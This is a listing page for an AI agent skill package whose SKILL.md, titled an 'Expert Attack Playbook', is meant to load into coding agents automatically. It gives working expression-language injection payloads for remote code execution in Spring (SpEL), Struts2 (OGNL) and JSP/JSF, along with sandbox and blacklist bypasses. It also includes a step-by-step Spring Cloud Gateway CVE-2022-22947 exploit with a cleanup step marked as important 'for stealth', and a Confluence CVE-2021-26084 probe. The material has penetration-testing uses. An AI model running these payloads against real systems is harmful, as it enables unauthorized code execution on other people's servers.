Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill expression-language-injection- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads expression-language-injection automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: Expression Language Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass,
_memberAccessmanipulation, actuator abuse, and real-world CVE chains.
0. RELATED ROUTING
- ssti-server-side-template-injection for template engines (Jinja2, FreeMarker, Twig) — different attack surface
- jndi-injection when EL evaluation leads to JNDI lookup
Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (${7*7}) but diverge in exploitation.
1. DETECTION — POLYGLOT PROBES
${7*7} → 49 = SpEL, OGNL, or Java EL
#{7*7} → 49 = SpEL (alternative syntax) or JSF EL
%{7*7} → 49 = OGNL (Struts2)
${T(java.lang.Math).random()} → random float = SpEL confirmed
%{#context} → object dump = OGNL confirmed
Disambiguation
Response to ${7*7} | Response to %{7*7} | Engine |
|---|---|---|
| 49 | literal %{7*7} | SpEL or Java EL |
literal ${7*7} | 49 | OGNL (Struts2) |
| 49 | 49 | Both may be active |
2. SpEL (SPRING EXPRESSION LANGUAGE)
Where SpEL Appears
@Value("${...}")annotations- Spring Security expressions (
@PreAuthorize) - Spring Cloud Gateway route predicates and filters
- Thymeleaf
th:text="${...}"(when combined with__${...}__preprocessing) - Spring Data
@Querywith SpEL
RCE via Runtime.exec
${T(java.lang.Runtime).getRuntime().exec("id")}
RCE with Output Capture (Commons IO)
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
RCE with Output Capture (Spring StreamUtils)
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
ProcessBuilder (alternative when Runtime is blocked)
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
Spring Cloud Gateway — CVE-2022-22947
Exploit via actuator to add malicious route with SpEL filter:
# Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}
# Step 2: Refresh routes to apply
POST /actuator/gateway/refresh
# Step 3: Trigger the route
GET /hackpath
# Response header "Result" contains command output
# Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh
SpEL Sandbox Bypass
When SimpleEvaluationContext is used (restricts T() operator):
// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}
3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)
Where OGNL Appears
- Apache Struts2 — primary OGNL consumer
- Confluence Server — uses OGNL in certain request paths
- Any Java app using
ognl.Ognl.getValue()orognl.Ognl.setValue()
Basic RCE
%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}
Struts2 Sandbox Bypass — _memberAccess Manipulation
Struts2 restricts OGNL via SecurityMemberAccess. Classic bypass clears restrictions:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Struts2 OgnlUtil Blacklist Clear
Later Struts2 versions use class/package blacklists. Bypass by clearing excludedClasses and excludedPackageNames:
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}
Key Struts2 CVEs
| CVE | Vector | Payload Location |
|---|---|---|
| S2-045 (CVE-2017-5638) | Content-Type header | %{...} in Content-Type |
| S2-046 (CVE-2017-5638) | Multipart filename | OGNL in upload filename |
| S2-016 (CVE-2013-2251) | redirect: / redirectAction: prefix | URL parameter |
| S2-048 (CVE-2017-9791) | Struts Showcase | ActionMessage with OGNL |
| S2-057 (CVE-2018-11776) | Namespace OGNL | URL path |
Confluence OGNL — CVE-2021-26084
Confluence Server allows OGNL injection via the queryString or action parameters:
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL-decoded: \u0027+{3*3}+\u0027
# If response contains 9 → confirmed
# Escalate to Runtime.exec for RCE
4. JAVA EL (JSP / JSF)
Where Java EL Appears
- JSP pages:
${expression}and#{expression} - JSF (JavaServer Faces): value and method bindings
- Custom tag libraries
RCE Payloads
// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}
// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}
// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
5. DETECTION METHODOLOGY
Input reflected and ${7*7} returns 49?
├── Java application?
│ ├── Struts2? → Try %{...} OGNL payloads
│ │ └── Check Content-Type injection (S2-045)
│ ├── Spring? → Try T(java.lang.Runtime) SpEL
│ │ └── Check /actuator/gateway (Spring Cloud Gateway)
│ ├── Confluence? → Try OGNL via action parameters
│ └── JSP/JSF? → Try Java EL payloads
│
├── Error messages reveal framework?
│ ├── "ognl.OgnlException" → OGNL
│ ├── "SpelEvaluationException" → SpEL
│ └── "javax.el.ELException" → Java EL
│
└── Blocked by sandbox?
├── OGNL: clear _memberAccess / excludedClasses
├── SpEL: reflection bypass for SimpleEvaluationContext
└── Try alternative exec methods (ProcessBuilder, ScriptEngine)
6. QUICK REFERENCE
# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}
# OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
# OGNL with sandbox bypass:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# Confluence CVE-2021-26084 probe:
queryString=\u0027%2b{3*3}%2b\u0027
# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x → SpEL in filter args
POST /actuator/gateway/refresh
FAQ
What does the expression-language-injection skill do?
Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.
How do I install expression-language-injection?
Run npx skills add https://github.com/yaklang/hack-skills --skill expression-language-injection in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/expression-language-injection/ (personal) or .claude/skills/expression-language-injection/ (project).
Which AI agents can use expression-language-injection?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is expression-language-injection safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains expression-language-injection?
It is published by yaklang in yaklang/hack-skills. It has 3,618 recorded installs.
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